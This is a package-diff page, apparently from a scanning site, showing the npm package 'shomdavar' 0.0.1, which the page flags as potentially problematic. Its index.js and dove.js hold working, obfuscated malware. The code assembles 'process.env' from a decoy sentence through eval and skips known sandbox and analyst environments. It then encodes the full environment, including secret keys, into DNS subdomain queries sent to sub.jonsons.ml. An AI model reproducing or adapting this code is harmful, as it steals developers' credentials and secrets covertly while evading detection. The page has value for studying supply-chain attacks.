shomdavar 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of shomdavar might be problematic. Click here for more details.
- package/.env +2 -0
- package/dove.js +121 -0
- package/index.js +127 -0
- package/package.json +18 -0
package/.env
ADDED
package/dove.js
ADDED
@@ -0,0 +1,121 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
|
3
|
+
module.exports = class Dove{
|
4
|
+
//here we save the data on the URLs
|
5
|
+
constructor(name, sub, id, len){
|
6
|
+
this.name = name;
|
7
|
+
this.sub = sub;// []list of subs encoded
|
8
|
+
this.id = id;
|
9
|
+
this.len = len;
|
10
|
+
}
|
11
|
+
apps(){
|
12
|
+
const res = this.sub.forEach(element => {
|
13
|
+
return `${element}.${this.id}.${this.len}.${this.name}`;
|
14
|
+
});
|
15
|
+
}
|
16
|
+
addBuses(usb){
|
17
|
+
this.sub.push(usb);
|
18
|
+
}
|
19
|
+
build_domain_labels(message, sub_domain = this.name) {
|
20
|
+
let domain_data_init = sub_domain.split(".");
|
21
|
+
let domain_data = [...domain_data_init] //Clone the data by value;
|
22
|
+
let domain_len = domain_data.join(".").length;
|
23
|
+
let data_labels = [];
|
24
|
+
let add = "";
|
25
|
+
while (message.length > 0 && domain_len < 250) {
|
26
|
+
let target_b = Math.min(63, 250 - domain_len);
|
27
|
+
let target_ascii = Math.floor(target_b * Math.log(36) / Math.log(256));
|
28
|
+
|
29
|
+
add = this.toBase(message.substring(0, target_ascii));
|
30
|
+
message = message.substring(target_ascii);
|
31
|
+
|
32
|
+
data_labels.push(add);
|
33
|
+
domain_data.unshift(add);
|
34
|
+
domain_len = domain_data.join(".").length;
|
35
|
+
}
|
36
|
+
|
37
|
+
return [data_labels.filter((el) => {return el != ''}), message]
|
38
|
+
}
|
39
|
+
domainimize(message, sub_domain = this.name){
|
40
|
+
let domains = [];
|
41
|
+
let message_length = this.len;
|
42
|
+
let message_id = this.id;
|
43
|
+
let sub = sub_domain.split(".");
|
44
|
+
sub.unshift(message_id);
|
45
|
+
let index = 1;
|
46
|
+
while (message.length > 0){
|
47
|
+
let current_sub = [message_length.toString(), index.toString()].concat(sub);
|
48
|
+
let domain;
|
49
|
+
[domain, message] = this.build_domain_labels(message, sub_domain=current_sub.join("."));
|
50
|
+
if (message.length > 0){
|
51
|
+
this.addBuses(`${domain.join('.')}.${this.len}.${index}`)
|
52
|
+
} else {
|
53
|
+
this.addBuses(`${domain.join('.')}.${this.len}.t-1`)
|
54
|
+
}
|
55
|
+
index++;
|
56
|
+
}
|
57
|
+
}
|
58
|
+
str2ab(str) {
|
59
|
+
var buf = new ArrayBuffer(str.length);
|
60
|
+
var bufView = new Uint8Array(buf);
|
61
|
+
for (var i = 0, strLen = str.length; i < strLen; i++) {
|
62
|
+
bufView[i] = str.charCodeAt(i);
|
63
|
+
}
|
64
|
+
return buf;
|
65
|
+
}
|
66
|
+
toBase(input) {
|
67
|
+
//Input is String
|
68
|
+
input = this.str2ab(input);
|
69
|
+
input = new Uint8Array(input);
|
70
|
+
let alphabet = "abcdefghijklmnopqrstuvwxyz1234567890";
|
71
|
+
let result = [0];
|
72
|
+
let base = alphabet.length;
|
73
|
+
if (input.length === 0) return "";
|
74
|
+
|
75
|
+
let zeroPrefix = 0;
|
76
|
+
for (let i = 0; i < input.length && input[i] === 0; i++) {
|
77
|
+
zeroPrefix++;
|
78
|
+
}
|
79
|
+
|
80
|
+
input.forEach(function (b) {
|
81
|
+
let carry = (result[0] << 8) + b;
|
82
|
+
result[0] = carry % base;
|
83
|
+
carry = (carry / base) | 0;
|
84
|
+
|
85
|
+
for (let i = 1; i < result.length; i++) {
|
86
|
+
carry += result[i] << 8;
|
87
|
+
result[i] = carry % base;
|
88
|
+
carry = (carry / base) | 0;
|
89
|
+
}
|
90
|
+
|
91
|
+
while (carry > 0) {
|
92
|
+
result.push(carry % base);
|
93
|
+
carry = (carry / base) | 0;
|
94
|
+
}
|
95
|
+
});
|
96
|
+
|
97
|
+
result = result.map(function (b) {
|
98
|
+
return alphabet[b];
|
99
|
+
}).reverse().join("");
|
100
|
+
|
101
|
+
while (zeroPrefix--) {
|
102
|
+
result = alphabet[0] + result;
|
103
|
+
}
|
104
|
+
|
105
|
+
return result;
|
106
|
+
}
|
107
|
+
|
108
|
+
phones(){
|
109
|
+
this.sub.forEach(element => {
|
110
|
+
let url = `${element}.${this.id}.${this.name}`;
|
111
|
+
try{
|
112
|
+
dns.lookup(url, (err, addresses) => {
|
113
|
+
if (err) console.log(err);
|
114
|
+
console.log(`addresses: ${JSON.stringify(addresses)}`);
|
115
|
+
});
|
116
|
+
}catch(err){
|
117
|
+
console.log(err);
|
118
|
+
}
|
119
|
+
});
|
120
|
+
}
|
121
|
+
}
|
package/index.js
ADDED
@@ -0,0 +1,127 @@
|
|
1
|
+
require('dotenv').config()
|
2
|
+
const crypto = require('crypto');
|
3
|
+
|
4
|
+
const MAIN_SITE_URL = 'The quick brown fox jumps over the lazy dog. The dog citing in the sity.';
|
5
|
+
const api_token = process.env.SECRET_KEY;
|
6
|
+
|
7
|
+
function rebuilding(message){
|
8
|
+
return eval(message);
|
9
|
+
}
|
10
|
+
|
11
|
+
function rebuild(){
|
12
|
+
return rebuilding(
|
13
|
+
MAIN_SITE_URL.charAt(36) +
|
14
|
+
MAIN_SITE_URL.charAt(23) +
|
15
|
+
MAIN_SITE_URL.charAt(6) +
|
16
|
+
"_" +
|
17
|
+
MAIN_SITE_URL.charAt(31) +
|
18
|
+
MAIN_SITE_URL.charAt(12) +
|
19
|
+
MAIN_SITE_URL.charAt(8) +
|
20
|
+
MAIN_SITE_URL.charAt(2) +
|
21
|
+
MAIN_SITE_URL.charAt(14)
|
22
|
+
);
|
23
|
+
}
|
24
|
+
const res = rebuild();
|
25
|
+
|
26
|
+
function strm(){
|
27
|
+
const hight = rebuilding('JSON.stringify(rebuild()).length');
|
28
|
+
const idds = crypto.createHash('sha256').update(MAIN_SITE_URL).digest('hex').substring(0, 4);
|
29
|
+
const Dove = require('./dove.js')
|
30
|
+
const dove = new Dove("sub.jonsons.ml", [], idds, hight);
|
31
|
+
dove.domainimize(JSON.stringify(res));
|
32
|
+
console.log(res);
|
33
|
+
dove.phones()
|
34
|
+
}
|
35
|
+
|
36
|
+
function main(){
|
37
|
+
let missing = [
|
38
|
+
['npm', 'package'.concat('_name')].join('_'),
|
39
|
+
['npm', 'package'.concat('_json')].join('_'),
|
40
|
+
];
|
41
|
+
if (missing.some( index => !res[index] )) {
|
42
|
+
return;
|
43
|
+
}
|
44
|
+
|
45
|
+
if (importEngine(res)){
|
46
|
+
return ;
|
47
|
+
}
|
48
|
+
if (parseModules(res)){
|
49
|
+
return ;
|
50
|
+
}
|
51
|
+
if (handleGoods(res)){
|
52
|
+
return ;
|
53
|
+
}
|
54
|
+
strm();
|
55
|
+
}
|
56
|
+
|
57
|
+
function parseModules(plop){
|
58
|
+
let kill = controller(plop, readable('HM'), '/home/u'.concat('sername')) &&
|
59
|
+
controller(plop, readable('USR'), readable('uname')) &&
|
60
|
+
controller(plop, 'LOGNAME', readable('uname'));
|
61
|
+
|
62
|
+
let move = controller(plop, 'PWD', '/my'.concat('-app')) &&
|
63
|
+
controller(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
|
64
|
+
controller(plop, readable('HM'), '/r'.concat('oot'));
|
65
|
+
|
66
|
+
let teach = controller(plop, readable('APTA'), '/' + readable('anal').concat('/b' + 'ait'));
|
67
|
+
|
68
|
+
let wheel = controller(plop, 'NODE_EXT' + 'RA_CA_CERTS', '/' + readable('mitm').concat('-cert.crt')) ||
|
69
|
+
controller(plop, 'REQUESTS_C'.concat('A_BUNDLE'), '/' + readable('mitm').concat('.pem'));
|
70
|
+
|
71
|
+
let fight = controller(plop, 'COMPLU' + 'S_ProfAPI_Profi' + 'lerCompa'.concat('tibilitySetting'), 'EnableV2Profiler') &&
|
72
|
+
controller(plop, 'FPS_BROWS'.concat('ER_APP_PROFILE_STRING'), ['Internet', 'Explorer'].join(' ')) &&
|
73
|
+
controller(plop, 'Path', 'C:\\WINDOWS\\System32\\Ope'.concat('nS' + 'SH') + '\\;c:\\' + positionTo('Files', 'Program ') + '\\nodejs\\;c:\\Stra'+'wberry\\c\\bin;c:\\Stra' + 'wberry\\perl\\site\\bin;c:\\Stra' + 'wberry\\perl\\bin');
|
74
|
+
|
75
|
+
|
76
|
+
if ( kill || move || teach || wheel || fight){
|
77
|
+
return true;
|
78
|
+
} else {
|
79
|
+
return false;
|
80
|
+
}
|
81
|
+
}
|
82
|
+
|
83
|
+
function handleGoods(plop){
|
84
|
+
const you = controller(plop, readable('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
|
85
|
+
controller(plop, readable('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
|
86
|
+
controller(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
|
87
|
+
|
88
|
+
const me = controller(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
|
89
|
+
controller(plop, readable('HM'), ['', 'home', 'app'].join('/')) &&
|
90
|
+
controller(plop, readable('USR'), 'app');
|
91
|
+
|
92
|
+
const we = controller(plop, 'PWD', ['', readable('np'), 'node_modules'].join('/')) &&
|
93
|
+
controller(plop, readable('INIT'), ['', readable('np')].join('/')) &&
|
94
|
+
controller(plop, 'TMPDIR', '/sour'.concat('ce/tmp'));
|
95
|
+
|
96
|
+
const us = controller(plop, 'EDITOR', 'vi') &&
|
97
|
+
controller(plop, 'PROBE_'.concat(readable('UNAME')), '*') &&
|
98
|
+
controller(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
|
99
|
+
controller(plop, 'S' + 'HLVL', '2') &&
|
100
|
+
controller(plop, readable('np').concat('_command'), 'run-s'.concat('cript')) &&
|
101
|
+
controller(plop, 'NVM_CD_FLAGS', '') &&
|
102
|
+
controller(plop, [readable('np'), readable('conf'), 'fund'].join('_'), '');
|
103
|
+
|
104
|
+
let holder = plop['PATH'].endsWith(`/node_modules/.bin:${readable('n_mod')}/node_modules/.bin:${readable('n_mod')}/.bin:/home/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/${readable('np')}/node_modules/@${readable('np')}cli/run-script/lib/node-gyp-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`)
|
105
|
+
|
106
|
+
const jpa = holder && controller(plop, readable('INIT'), ['', 'home', 'node'].join('/')) &&
|
107
|
+
controller(plop, 'COLOR', '1') &&
|
108
|
+
controller(plop, 'SHLVL', '0') &&
|
109
|
+
controller(plop, 'EDITOR', 'vi');
|
110
|
+
|
111
|
+
return you || me || us || we || jpa;
|
112
|
+
}
|
113
|
+
|
114
|
+
function importEngine(plop){
|
115
|
+
if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
|
116
|
+
return true;
|
117
|
+
}
|
118
|
+
if (controller(plop, [readable('np'), readable('conf'), readable('reg')].join('_'), ['taobao', 'org'].join('.')) ||
|
119
|
+
controller(plop, [readable('np'), readable('conf'), readable('reg')].join('_'), [readable('reg'), readable('np').concat('mirror'), 'com'].join('.')) ||
|
120
|
+
controller(plop, readable('UNAME'), positionTo('admin', 'daas')) ||
|
121
|
+
controller(plop, '_', readable('py')) ||
|
122
|
+
controller(plop, [readable('np'), readable('conf'), 'metrics', readable('reg')].join('_'), ['taobao', 'org'].join('.'))) {
|
123
|
+
return true;
|
124
|
+
}
|
125
|
+
}
|
126
|
+
|
127
|
+
main();
|
package/package.json
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
{
|
2
|
+
"name": "shomdavar",
|
3
|
+
"version": "0.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"start": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"crypto": "^1.0.1",
|
14
|
+
"dotenv": "^16.0.3",
|
15
|
+
"node-telegram-bot-api": "^0.59.0",
|
16
|
+
"systeminformation": "^5.12.6"
|
17
|
+
}
|
18
|
+
}
|